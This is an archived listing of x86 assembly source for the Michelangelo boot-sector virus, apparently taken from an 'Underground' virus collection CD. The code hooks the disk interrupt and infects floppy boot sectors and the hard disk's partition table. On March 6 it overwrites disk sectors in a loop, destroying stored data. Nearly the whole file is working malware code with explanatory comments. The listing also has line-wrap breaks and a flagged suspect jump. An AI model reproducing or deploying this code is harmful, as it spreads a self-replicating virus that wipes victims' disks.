home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / stonedm.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.5 KB  |  244 lines
  1. michelangelo    segment byte public
  2.  
  3.                 assume  cs:michelangelo, ds:michelangelo
  4.  
  5.                 org     0
  6.  
  7.  
  8.  
  9.                 jmp     entervirus
  10.  
  11. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  12.  
  13. maxhead         db      2                       ; used by damagestuff
  14.  
  15. firstsector     dw      3
  16.  
  17. oldint13h       dd      0C8000256h
  18.  
  19.  
  20.  
  21. int13h:
  22.  
  23.                 push    ds
  24.  
  25.                 push    ax
  26.  
  27.                 or      dl, dl                  ; default drive?
  28.  
  29.                 jnz     exitint13h              ; exit if not
  30.  
  31.                 xor     ax, ax
  32.  
  33.                 mov     ds, ax
  34.  
  35.                 test    byte ptr ds:[43fh], 1   ; disk 0 on?
  36.  
  37.                 jnz     exitint13h              ; if not spinning, exit
  38.  
  39.                 pop     ax
  40.  
  41.                 pop     ds
  42.  
  43.                 pushf
  44.  
  45.                 call    dword ptr cs:[oldint13h]; first call old int 13h
  46.  
  47.                 pushf
  48.  
  49.                 call    infectdisk              ; then infect
  50.  
  51.                 popf
  52.  
  53.                 retf    2
  54.  
  55. exitint13h:     pop     ax
  56.  
  57.                 pop     ds
  58.  
  59.                 jmp     dword ptr cs:[oldint13h]
  60.  
  61.  
  62.  
  63. infectdisk:
  64.  
  65.                 push    ax
  66.  
  67.                 push    bx
  68.  
  69.                 push    cx
  70.  
  71.                 push    dx
  72.  
  73.                 push    ds
  74.  
  75.                 push    es
  76.  
  77.                 push    si
  78.  
  79.                 push    di
  80.  
  81.                 push    cs
  82.  
  83.                 pop     ds
  84.  
  85.                 push    cs
  86.  
  87.                 pop     es
  88.  
  89.                 mov     si, 4
  90.  
  91. readbootblock:
  92.  
  93.                 mov     ax,201h                 ; Read boot block to
  94.  
  95.                 mov     bx,200h                 ; after virus
  96.  
  97.                 mov     cx,1
  98.  
  99.                 xor     dx,dx
  100.  
  101.                 pushf
  102.  
  103.                 call    oldint13h
  104.  
  105.                 jnc     checkinfect             ; continue if no error
  106.  
  107.                 xor     ax,ax
  108.  
  109.                 pushf
  110.  
  111.                 call    oldint13h               ; Reset disk
  112.  
  113.                 dec     si                      ; loop back
  114.  
  115.                 jnz     readbootblock
  116.  
  117.                 jmp     short quitinfect        ; exit if too many 
  118.  
  119. failures
  120.  
  121. checkinfect:
  122.  
  123.                 xor     si,si
  124.  
  125.                 cld
  126.  
  127.                 lodsw
  128.  
  129.                 cmp     ax,[bx]                 ; check if already 
  130.  
  131. infected
  132.  
  133.                 jne     infectitnow
  134.  
  135.                 lodsw
  136.  
  137.                 cmp     ax,[bx+2]               ; check again
  138.  
  139.                 je      quitinfect
  140.  
  141. infectitnow:
  142.  
  143.                 mov     ax,301h                 ; Write old boot block
  144.  
  145.                 mov     dh,1                    ; to head 1
  146.  
  147.                 mov     cl,3                    ; sector 3
  148.  
  149.                 cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  150.  
  151.                 je      is360Kdisk
  152.  
  153.                 mov     cl,0Eh
  154.  
  155. is360Kdisk:
  156.  
  157.                 mov     firstsector,cx
  158.  
  159.                 pushf
  160.  
  161.                 call    oldint13h
  162.  
  163.                 jc      quitinfect              ; exit on error
  164.  
  165.                 mov     si,200h+offset partitioninfo
  166.  
  167.                 mov     di,offset partitioninfo
  168.  
  169.                 mov     cx,21h                  ; Copy partition table
  170.  
  171.                 cld
  172.  
  173.                 rep     movsw
  174.  
  175.                 mov     ax,301h                 ; Write virus to sector 
  176.  
  177. 1
  178.  
  179.                 xor     bx,bx
  180.  
  181.                 mov     cx,1
  182.  
  183.                 xor     dx,dx
  184.  
  185.                 pushf
  186.  
  187.                 call    oldint13h
  188.  
  189. quitinfect:
  190.  
  191.                 pop     di
  192.  
  193.                 pop     si
  194.  
  195.                 pop     es
  196.  
  197.                 pop     ds
  198.  
  199.                 pop     dx
  200.  
  201.                 pop     cx
  202.  
  203.                 pop     bx
  204.  
  205.                 pop     ax
  206.  
  207.                 retn
  208.  
  209. entervirus:
  210.  
  211.                 xor     ax,ax
  212.  
  213.                 mov     ds,ax
  214.  
  215.                 cli
  216.  
  217.                 mov     ss,ax
  218.  
  219.                 mov     ax,7C00h                ; Set stack to just 
  220.  
  221. below
  222.  
  223.                 mov     sp,ax                   ; virus load point
  224.  
  225.                 sti
  226.  
  227.                 push    ds                      ; save 0:7C00h on stack 
  228.  
  229. for
  230.  
  231.                 push    ax                      ; later retf
  232.  
  233.                 mov     ax,ds:[13h*4]
  234.  
  235.                 mov     word ptr ds:[7C00h+offset oldint13h],ax
  236.  
  237.                 mov     ax,ds:[13h*4+2]
  238.  
  239.                 mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  240.  
  241.                 mov     ax,ds:[413h]            ; memory size in K
  242.  
  243.                 dec     ax                      ; 1024 K
  244.  
  245.                 dec     ax
  246.  
  247.                 mov     ds:[413h],ax            ; move new value in
  248.  
  249.                 mov     cl,6
  250.  
  251.                 shl     ax,cl                   ; ax = paragraphs of 
  252.  
  253. memory
  254.  
  255.                 mov     es,ax                   ; next line sets seg of 
  256.  
  257. jmp
  258.  
  259.                 mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  260.  
  261.                 mov     ax,offset int13h
  262.  
  263.                 mov     ds:[13h*4],ax
  264.  
  265.                 mov     ds:[13h*4+2],es
  266.  
  267.                 mov     cx,offset partitioninfo
  268.  
  269.                 mov     si,7C00h
  270.  
  271.                 xor     di,di
  272.  
  273.                 cld
  274.  
  275.                 rep     movsb                   ; copy to high memory
  276.  
  277.                                                 ; and transfer control 
  278.  
  279. there
  280.  
  281.                 jmp     dword ptr cs:[7C00h+offset highmemjmp]
  282.  
  283. ; destination of highmem jmp
  284.  
  285.                 xor     ax,ax
  286.  
  287.                 mov     es,ax
  288.  
  289.                 int     13h                     ; reset disk
  290.  
  291.                 push    cs
  292.  
  293.                 pop     ds
  294.  
  295.                 mov     ax,201h
  296.  
  297.                 mov     bx,7C00h
  298.  
  299.                 mov     cx,firstsector
  300.  
  301.                 cmp     cx,7                    ; hard disk infection?
  302.  
  303.                 jne     floppyboot              ; if not, do floppies
  304.  
  305.                 mov     dx,80h                  ; Read old partition 
  306.  
  307. table of
  308.  
  309.                 int     13h                     ; first hard disk to 
  310.  
  311. 0:7C00h
  312.  
  313.                 jmp     short exitvirus
  314.  
  315. floppyboot:
  316.  
  317.                 mov     cx,firstsector          ; read old boot block
  318.  
  319.                 mov     dx,100h                 ; to 0:7C00h
  320.  
  321.                 int     13h
  322.  
  323.                 jc      exitvirus
  324.  
  325.                 push    cs
  326.  
  327.                 pop     es
  328.  
  329.                 mov     ax,201h                 ; read boot block
  330.  
  331.                 mov     bx,200h                 ; of first hard disk
  332.  
  333.                 mov     cx,1
  334.  
  335.                 mov     dx,80h
  336.  
  337.                 int     13h
  338.  
  339.                 jc      exitvirus
  340.  
  341.                 xor     si,si
  342.  
  343.                 cld
  344.  
  345.                 lodsw
  346.  
  347.                 cmp     ax,[bx]                 ; is it infected?
  348.  
  349.                 jne     infectharddisk          ; if not, infect HD
  350.  
  351.                 lodsw                           ; check infection
  352.  
  353.                 cmp     ax,[bx+2]
  354.  
  355.                 jne     infectharddisk
  356.  
  357. exitvirus:
  358.  
  359.                 xor     cx,cx                   ; Real time clock get 
  360.  
  361. date
  362.  
  363.                 mov     ah,4                    ; dx = mon/day
  364.  
  365.                 int     1Ah
  366.  
  367.                 cmp     dx,306h                 ; March 6th
  368.  
  369.                 je      damagestuff
  370.  
  371.                 retf                            ; return control to 
  372.  
  373. original
  374.  
  375.                                                 ; boot block @ 0:7C00h
  376.  
  377. damagestuff:
  378.  
  379.                 xor     dx,dx
  380.  
  381.                 mov     cx,1
  382.  
  383. smashanothersector:
  384.  
  385.                 mov     ax,309h
  386.  
  387.                 mov     si,firstsector
  388.  
  389.                 cmp     si,3
  390.  
  391.                 je      smashit
  392.  
  393.                 mov     al,0Eh
  394.  
  395.                 cmp     si,0Eh
  396.  
  397.                 je      smashit
  398.  
  399.                 mov     dl,80h                  ; first hard disk
  400.  
  401.                 mov     maxhead,4
  402.  
  403.                 mov     al,11h
  404.  
  405. smashit:
  406.  
  407.                 mov     bx,5000h                ; random memory area
  408.  
  409.                 mov     es,bx                   ; at 5000h:5000h
  410.  
  411.                 int     13h                     ; Write al sectors to 
  412.  
  413. drive dl
  414.  
  415.                 jnc     skiponerror             ; skip on error
  416.  
  417.                 xor     ah,ah                   ; Reset disk drive dl
  418.  
  419.                 int     13h
  420.  
  421. skiponerror:
  422.  
  423.                 inc     dh                      ; next head
  424.  
  425.                 cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  426.  
  427.                 jb      smashanothersector
  428.  
  429.                 xor     dh,dh                   ; go to next 
  430.  
  431. head/cylinder
  432.  
  433.                 inc     ch
  434.  
  435.                 jmp     short smashanothersector
  436.  
  437. infectharddisk:
  438.  
  439.                 mov     cx,7                    ; Write partition table 
  440.  
  441. to
  442.  
  443.                 mov     firstsector,cx          ; sector 7
  444.  
  445.                 mov     ax,301h
  446.  
  447.                 mov     dx,80h
  448.  
  449.                 int     13h
  450.  
  451.                 jc      exitvirus
  452.  
  453.                 mov     si,200h+offset partitioninfo ; Copy partition
  454.  
  455.                 mov     di,offset partitioninfo      ; table information
  456.  
  457.                 mov     cx,21h
  458.  
  459.                 rep     movsw
  460.  
  461.                 mov     ax,301h                 ; Write to sector 8
  462.  
  463.                 xor     bx,bx                   ; Copy virus to sector 1
  464.  
  465.                 inc     cl
  466.  
  467.                 int     13h
  468.  
  469. ;*              jmp     short 01E0h
  470.  
  471.                 db      0EBh, 32h               ; ?This should crash?
  472.  
  473. ; The following bytes are meaningless.
  474.  
  475. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  476.  
  477. partitioninfo:  db      42h dup (0)
  478.  
  479. michelangelo    ends
  480.  
  481.                 end
  482.  
  483.  
  484.  
  485.  
  486.  
  487.